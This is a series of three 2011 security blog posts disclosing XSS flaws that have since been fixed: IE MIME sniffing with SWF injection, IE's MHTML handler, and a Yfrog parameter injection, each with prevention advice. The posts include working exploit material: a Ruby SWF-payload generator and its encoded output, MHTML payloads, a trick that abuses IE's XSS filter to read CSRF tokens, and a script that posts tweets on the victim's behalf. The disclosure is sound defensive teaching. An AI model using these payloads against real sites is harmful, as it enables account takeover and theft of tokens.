Saturday, February 19, 2011

XSS Awareness #3: Injecting malicious SWFs through the Query String

If you missed either of the other articles in this series, they can be found here:

Internet Explorer and MIME types


Internet Explorer is notorious when it comes to disregarding the Content-Type HTTP header; that really cannot be said often enough. If you're a web developer, and especially if you're writing web services, it's extremely important to be aware of this.

Short recap, for the oblivious: MIME type is whatever type the browser believes a resource to be. Most browsers rely on the Content-Type HTTP header first, then hints passed by the markup which refers to the resource, and finally file extension in the URI. Internet Explorer, on the other hand, will first of all attempt to guess, or sniff, the MIME type based on the extension.

The importance of MIME type in JSONP services


JSONP (JSON with a user-supplied callback) services, or rather: web services where one of the query parameters will be written to the very beginning of the output, are especially prone to MIME type issues.

As demonstrated in the second article in this series (linked above), many web services skip cleaning callback like query parameters for such services. Most of the time they are alright to do so. As long as the service returns "Content-Type: application/json", "Content-Type: application/javascript" or similar, most browsers won't attempt to load the data as HTML or anything else.

But this is where Internet Explorer will get into deep water. Again.

Given that:
  1. The service returns data that begins with a string passed in a query parameter.
  2. The service somehow accepts custom extensions, such as a REST'ish syntax where the last part before the query string is a search string: "http://somedomain.com/services/search/foobar.baz?callback=something".
  3. The callback query parameter isn't altered (too much) by the server.
  4. The server doesn't return the "X-Content-Type-Options: nosniff" HTTP header.
.. then it's very likely that Internet Explorer can be tricked into loading scripts or other executable content. Because of point #2, a request to the server could e.g. pass ".swf" as an extension to the web service; which will cause Internet Explorer to interpret the returned data as something the Flash plugin would want to run.

Injecting malicious SWFs through the Query String


While services, or even web pages, which fulfill the three requirements above could be passed a script, such as
<script>alert(1);</script>
.. Internet Explorer's XSS filter would block this. SWFs and similar executable content, which may come with javascript, however won't be blocked.

How easy it is for an attacker to inject an SWF depends largely on which characters the server's encoding allows for. Most services these days send data as UTF-8, which means that bytes at or above 0x80 can be tricky to express. Some require UTF-8 start bytes as prefixes (which can require more than one byte to follow), some are themselves start bytes, and require a set of continuation bytes. Nevertheless, it is possible to express the necessary skeleton SWF to hold and execute JavaScript.

I won't be going in-depth on the ActionScript Virtual Machine (or AVM); a few quick searches will yield lots of information on that. The important bits of the approach, however, are as follows:

ActionScript actions are single bytes. Some actions take attributes. GetURL is one such action, and it takes two attributes: url and target. The thing about these actions, however: all those that take attributes have bytecodes at or above 0x80, and are therefore not valid UTF-8 sequences on their own.

There is one specific thing about the AVM that provides an easy workaround: Unknown action bytecodes are silently ignored by the player.

Actions which take attributes have the following layout:
[action bytecode, 1 byte][attribute section length, 2 bytes][attribute section, n bytes]
Consequently it is possible to specify the unknown 0xC2 (UTF-8 start byte) action, followed by 0x80 (a valid UTF-8 single continuation byte) and 0x00. Following that three byte construct, the Flash player will expect (and ignore) 128 attribute bytes. Outputting 127 times 0x44 (or any other byte lower than 0x80), then another 0xC2, will allow us to specify 0x83 (GetURL) as the next ActionScript action.

Following is a (somewhat) naïve Ruby script I wrote, which generates an SWF wrapper around a JavaScript, such as described above. I'm hoping that is enough for web devs to understand that it's by no means difficult to deliver SWFs when restricted to UTF-8.
(Or even 7-bit ASCII, if you're Erling Ellingsen.)
class Fixnum
def to_little_endian_bytes l
[self].pack(l==4?'V':'v').unpack('C*')
end
def has_byte_above max
[self].pack('v').unpack('C*').any? { |n| n > max }
end
end

def utf8_prefix
[0xC2, 0x80, 0x00] + (1...0x80).inject([]) { |m, n| m << 0x2d } + [0xC2]
end

def action bytecode, *args
argbytes = args.inject([]) { |m, arg| m += arg.unpack('C*') << 0 }
while argbytes.length.has_byte_above(0x7F)
argbytes << 0
end
header = (bytecode >= 0x80 ? utf8_prefix : []) << bytecode
header + argbytes.length.to_little_endian_bytes(2) + argbytes
end

def make_script_swf javascript
while true
header = [0x46, 0x57, 0x53, 0x08]
setup = [0x20, 0x18, 0x18, 0x00, 0x01, 0x01, 0x00]
tag = [0x3f, 0x03]
tagcode = action(0x83, "javascript:#{javascript}", "_top") << 0
tagsize = tagcode.length.to_little_endian_bytes(4)
size = (header.length + setup.length +
tag.length + tagsize.length +
tagcode.length + 6).to_little_endian_bytes(4)
bytes = header + size + setup + tag + tagsize + tagcode << 0 << 0
break if bytes.length.has_byte_above(0x7F) == false and
tagcode.length.has_byte_above(0x7F) == false
javascript += " "
end
bytes
end

Running this, and dumping percent encoded output, such as:
bytes = make_script_swf('alert(1);')
puts bytes.map { |c| "%%%02x" % c }.join('')
Would yield a query string passable SWF similar to:
%46%57%53%08%1a%01%01%01%43%02%3f%03%01%c2%80%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%c2%83%79%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5f%74%6f%70

Proof of concept XSS against Twitter


As far as proof of concepts go, I did generate an SWF like this, which I passed to the previously mentioned Twitter promotion service. Following is a screencast of how that played out. Watch it in fullscreen to see the HTTP headers and such.


Hopefully that caught your attention, and you're now keen to protect your own web services.

Prevention


If you're a web developer writing web services, or any kind of web page, you really need to pay attention to injected content, no matter the MIME type. Of course, you should always make sure to send the correct Content-Type HTTP header, but that only gets you so far. Also make sure to pass the "X-Content-Type-Options: nosniff" header if you specify a restrictive Content-Type, otherwise IE will take a path of its own. Again, though, there are always scenarios where the browser will disregard the server-supplied Content-Type, so it really comes down to washing input properly.

Finally, and this is the really important bit: Don't underestimate possible attack vectors. Slightly difficult isn't impossible. Usually, 'impossible' isn't even impossible; just cumbersome. If you write any kind of software, it really is your duty to be prepared for the fact that someone brighter, or more evil, than you may come along down the road.

Friday, February 11, 2011

XSS Awareness #2: Internet Explorer, MHTML and the case of Twitter's promo service

If you missed either of the other articles in this series, they can be found here:

MHTML: Microsoft's black sheep web page archive format


The first advisory I could find related to the latest wave of exploits through the MHTML protocol handler, dates back to 2004. The protocol itself was proposed in 1999, which means that this problem has been known for more than half its lifetime. That's pretty spectacular. I'll admit I had barely heard of, let alone dug into, what and why MHTML was - until the reports in early January this year.

In a nutshell, the MHTML protocol handler will look for a second HTTP header like structure in what's being sent from the server. Following the regular HTTP header, you'll find a double set of carriage return and line feed, "\r\n\r\n", after which the HTTP body begins. Granted that the url is prefixed "mhtml:", the MHTML handler will kick in at this point.

The MHTML handler will parse the HTTP body for MHTML headers, stopping when it finds a completely blank line ("\n\n" or "\r\n\r\n"). The headers it looks for include "Content-Location" and "Content-Transfer-Encoding". Having successfully found these, it will attempt to decode the MHTML resource, which follows the MHTML header. A HTTP body can include several MHTML resources, which are named through the Content-Location header. Which specific MHTML resource is executed, is decided by an argument passed through the URL, following a trailing exclamation mark.

A server response with a single MHTML document, containing a javascript to alert "hi", could look like:
HTTP/1.0 200 OK
Date: Fri, 11 Feb 2011 08:07:05 GMT
Status: 200 OK
Content-Length: [...]
Pragma: no-cache
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Connection: close

Content-Type: Multipart/related; boundary=_bounds

--_bounds
Content-Location: foo
Content-Transfer-Encoding: base64

PHNjcmlwdD5hbGVydCgnaGknKTwvc2NyaXB0Pg==
--_bounds--
What makes the MHTML protocol handler dangerous, is a combination of several factors.
  1. Internet Explorer is prone disregard content type in the first place, but the MHTML protocol handler will even disregard nosniff and mime type.
  2. Seeing as the script part of the document can be base64 encoded, the browser's XSS prevention mechanism won't kick in.
  3. No quotes or other commonly escaped / encoded characters are present in the MHTML payload. I have seen some examples where semicolons are replaced as well, but they aren't required in the MHTML header's short form in either case.
This effectively means that web pages which otherwise follow best practices, but don't strip carriage return and newline from the input they pass on, could be vulnerable. That is, if they don't output any blank lines anywhere prior to the MHTML header's output point. This happens to be why I've previously said that ASP.NET is accidentally (nearly) immune to the attack: the commonly used markup, with page directives and such on top, will cause an extra blank line to be written between the HTTP header and the HTTP body -- abruptly disabling the MHTML procol handler.

While many pages are affected by this, one specific kind of web page has been more prone to vulnerability than others: JSON web services with jsonp callback parameters. Few web services bother washing input to these services, and are relatively safe to do so, granted that they pass the right content type, mime type and preferably nosniff header back to the browser. No sane browser would run the output from the page, should it be requested, in either case. Such is not the case with the MHTML handler, however.

Let me just say: MHTML is an epically bad idea


It really is essential that organizations of IE users understand just how ludicrous the MHTML protocol handler is. Let me add to the examples above by mentioning that IE doesn't care at all whether the MIME type you're loading implies a binary file or not. It could just as well be a jpg, png, gif or whatever else, so long as there are (as mentioned above) no two successive newlines prior to the MHTML header. Open an url such as http://example.com/image.png, and you'd get a picture. Open mhtml:http://example.com/image.png!foo, and your browser would happily execute scripts and whatnot.

Then there are the content hosting sites, such as Github, who really have no option but to host raw, unmodified, views of files. Or even Gists. Since MHTML's reach stretches beyond MIME type, Content-Type and anything you can pass in the HTTP header, it goes without saying that hosting *any* file with a valid MHTML header on such a site, would be executed by the browser. And when it does, any private listings you have there are at risk of being stolen.

There really is no sense to the MHTML handler. At all.

If you're still using Internet Explorer (and yes, that includes the newly released IE 9 Release Candidate), go patch it: http://support.microsoft.com/kb/2501696.

The case of Twitter's promo service


Twitter had one specific web service, which returned json-formatted information about promotions. You could freely pass a callback to it, and it would return a javascript which called said function, with the json data as an argument (jsonp in a nutshell, yeah). This service happened to not wash carriage return and line-feed from the callback name, and consequently was XSS vulnerable to injected MHTML.

One thing that complicated a proof of concept against the service -- but ultimately pointed out something important -- was a specific piece of javascript on Twitter's main page.

Most MHTML XSS attacks I've seen deliver an iframe, which in turn loads up a page which holds CSRF tokens. The MHTML's script would extract the token from the iframe's document, and the browser would happily allow it, seeing as the two were within in the same domain. Finally the script would post to whatever service it wanted to be naughty towards.

Because of Twitter's script, however, this proved difficult. Upon opening the main page, the script would check if the page was currently the topmost frame, and if not: replace the url of the top frame, effectively breaking out of the iframe. Second of all, the script would immediately set document.domain to "twitter.com", which isn't possible from MHTML, and that would also break the iframe approach.

What I ended up doing was deliver a script which would use Microsoft's XMLHttp object to get the token, and post that to the tweet page. From within MHTML, this also proved slightly difficult, as the XHR would regularly throw "access denied" error messages. The curious part here, though: it wouldn't *always* throw these messages. There appeared to be some timing to it. The access error couldn't be because of the document.domain restriction either, as no page had yet been requested with that on it. It seemed to be entirely an effect of where in the MHTML lifecycle the request was fired. That possible digression bug aside, bunny hopping between different scripts upon error, eventually made both token retrieval and cross-tweeting go through:

XSS proof of concept against the promo service.

Internet Explorer's XSS filter gone autoimmune


So, while that approach did work, I mentioned that the whole iframe redirect / document.domain spectacle did point out something important. While I was discussing the anomaly in MHTML's XMLHttp request with a friend of mine, Erling Ellingsen, he pointed out that Internet Explorer's own XSS filter often can be used against itself, in order to disable pieces of scripts on a page.

Imagine that you have a page with a CSRF token, lets call it secret.html, at http://services.somedomain.com:
<html>
<script>document.domain = "somedomain.com"</script>
<body>
SecretToken
</body>
</html>
On this server, there would be a page somehow MHTML XSS exploitable. The following is then injected into it (quoted-printable, rather than base64 encoded, for readability):
Content-Type: Multipart/related; boundary=_bounds

--_bounds
Content-Location: foo
Content-Transfer-Encoding: QUOTED-PRINTABLE

<body><iframe
onload=3D"javascript:alert(this.contentWindow.document.body.innerText)"
src=3D"http://services.somedomain.com/secret.html"></iframe></body>
--_bounds--
Now because of the document.domain="somedomain.com" of the secret.html page, the script wouldn't be able to retrieve the CSRF token. For the service provider, this is definitely a good thing, as it (usually) adds another layer of protection. What the service provider didn't think of, however, was Internet Explorer's hyperactive XSS filter.

If you changed the url requested in the iframe to:
<body><iframe
onload=3D"javascript:alert(this.contentWindow.document.body.innerText)"
src=3D"http://services.somedomain.com/secret.html?hi=3D<script>document.domain =3D %22somedomain.com%22</script>"></iframe></body>
Then Internet Explorer would parse the page, looking for any signs of scripts similar to the block in the query string. Upon finding this in secret.html, it would believe that it got there because of the query string, and throw a bunch of pound signs into the tags and code -- rendering it useless. The iframe's document would consequently no longer be restricted to somedomain.com, and would be readable from the MHTML's script.

Final thoughts


There's a definitive lesson to be learnt here. If you rely on scripts to restrict requests to specific domains, prevent iframe embedding, or similar: be certain to throw some random garbage into your script block, while it is generated server side. That said, in browsers other than Internet Explorer, the iframe could be declared sandboxed, to prevent script execution within it. If you still want to go down this obscure security trail, countering that would in some browsers be possible with
<noscript><meta http-equiv="X-Frame-Options" content="deny" /></noscript>
... but I won't follow you down there.

When it comes to MHTML, there's not much to do, short of either disabling \r\n in query input, specifically removing the MHTML headers or simply adding an extra \r\n right after the HTTP header. Generally speaking, it's a very good idea to be somewhat restrictive even with callbacks given to jsonp services, and especially so if you don't pass the X-Content-Type-Options: nosniff HTTP header.

Wednesday, February 9, 2011

XSS Awareness: How a Yfrog vulnerability could be used to post to Twitter

If you missed either of the other articles in this series, they can be found here:

Disclaimer


Following the MHTML disclosure in early January this year, I've involuntarily (as nerdtraps usually pan out) found myself back on an old mission: to improve bits of web insecurity in commonly used services. During this time I've sent more than a handful warning emails. As the issues are patched up, I hope to share the results with the rest who stumble by here.

This isn't in any way meant to cause harm to the good name of the companies involved. XSS vulnerabilities are wildly simple to produce, and are also prone to appear because of sneaky browser flaws (such as the MHTML 'feature' in IE). As a web developer, it's next to impossible to stay up-to-date on all possible attack vectors, which is why I find it necessary to:
  1. Use examples which make people realize what's at stake.
  2. Provide as concrete and concise do's and dont's as possible based on said examples.
To not have you lose interest, I'll get to the point as quickly as possible.

The case of Yfrog


At Yfrog, whose services many use to publish images and videos to Twitter, Facebook and such, there was a particular page: /tweet.php. It took two query parameters: bg and url.

They were being injected into the page as follows:
<html>
<head>
<style type="text/css">
body {background-color: #--BG HERE--}
</style>
</head>
<body>
<script type='text/javascript'>tweetmeme_url='--URL HERE--';</script><script type='text/javascript' src='http://tweetmeme.com/i/scripts/button.js'></script>
</body>
</html>
The parameters were washed so that single quotes, double quotes and backslashes were backslash escaped. Consequently, were you to pass
';alert('hi');
.. to the url parameter, the output would read
tweetmeme_url='\';alert(\'hi\');'
The characters } < > and /, on the other hand, weren't touched at all.

That means two things. First of all, it would be possible to break out of the style block, and insert a rogue script block. Second, it would be possible to evade certain XSS filters, such as those in Chrome and Safari, by combining the bg and url parameters to comment out a section of the markup.

Building an url such as
http://yfrog.com/tweet.php?bg=0}%0a</style><script>alert(1)/*&url=*/</script>
Would result in the following markup
<html>
<head>
<style type="text/css">
body {background-color: #0}
</style><script>alert(1)/*}
</style>
</head>
<body>
<script type='text/javascript'>tweetmeme_url='*/</script>';</script><script type='text/javascript' src='http://tweetmeme.com/i/scripts/button.js'></script>
</body>
</html>
Notice that the part following the alert is commented out, and that the comment ends within the url assigned to tweetmeme_url. Browsers with built-in XSS protection that rely on matching the full content of a script block, with data found in the query string, would not be able to protect you against this. Consequently a popup with '1' would show.
Point #1: Whenever you have multiple input parameters, and these are written to different parts of the page, an attacker can use that to fool both your own internal parameter washing and XSS prevention mechanism, as well as that of the browser.
Point #2: Parameter washing must always take into consideration exactly where the parameter will be rendered. Escaping backslashes, quotes and single quotes does work for string literals in scripts, but will prevent nothing at all for attributes or other html markup. Allowing newlines or carriage returns can similarly be used to break out of string literals in scripts. This can, given certain other conditions, result in vulnerabilities. For most html and attribute rendered parameters, MHTML not withstanding, newlines are harmless.
The only remaining obstacle -- or rather inconvenience -- in this case, is the escaping of single and double quotes. This means that a script meant to exploit the vulnerability would have to be written without any string literals. There are quite a few options on how to deal with this. First of all, it could be circumvented entirely by simply linking an external script. Second, most of the script could be a char code array, with just a minimal bootstrapper to decode and eval the actual script. Third, and this is an option I'll show you here, you could use the forward slash regex syntax to capture literals.
sc=function(r){return r.source};
x=new XMLHttpRequest();
x.open(sc(/POST/),sc(/http%3A%2F%2Fyfrog.com%2Fposter.php/),false);
x.setRequestHeader(sc(/Content-Type/),sc(/application%2Fx-www-form-urlencoded/));
x.send(sc(/message%3DXSSTWEET%26type%5B%5D%3Dt%26oauth%3D1%26forcelogin/));
This is actually the full proof of concept script I injected into the page, which resulted in a tweet through the account I had signed into Yfrog with.
Point #3: Disallowing certain characters is nothing more than an inconvenience to an attacker, if he/she has first managed to inject something interpreted as script. Even all characters converted to uppercase, in a final effort to avoid script interpretation, can easily be worked around. See this page for examples from BlackHat DC.
Point #4: When session cookies are in use, be sure to make them httponly. Cookies available from javascript are all too likely to be stolen and misused. Adding to this, cookies should never span a wider range of subdomains than necessary: If your application lives on the top domain, let the cookies be scoped to that - and that alone.

Proof of concept screencast

This shows how an attack could play out. Notice that the proof of concept page I visit shows no error message, or visual indication of what goes down in the background.



Final thoughts

I have to commend Yfrog for looking into this quickly. With service providers such as Yfrog, and the position they hold in the market -- as well as towards other services through inter-service trust -- it's vital that issues are corrected as fast as possible.

This brings me to a point on new web services in general. Bridging the gap between the various sites you use, trusting everyone to contact everyone, and always staying signed in to one or more of the services; is bound to weaken your overall level of security. I highly recommend not staying logged in anywhere, for longer than necessary. I also recommend the usage of NotScript / NoScript and similar browser addins. Although only occasionally effective, keeping the circle of script sources you trust tight does help. In the case of XSS attacks where external scripts are being loaded from evil CDN, a user of NoScript / NotScript / similar would not be affected unless he trusted those CDNs specifically.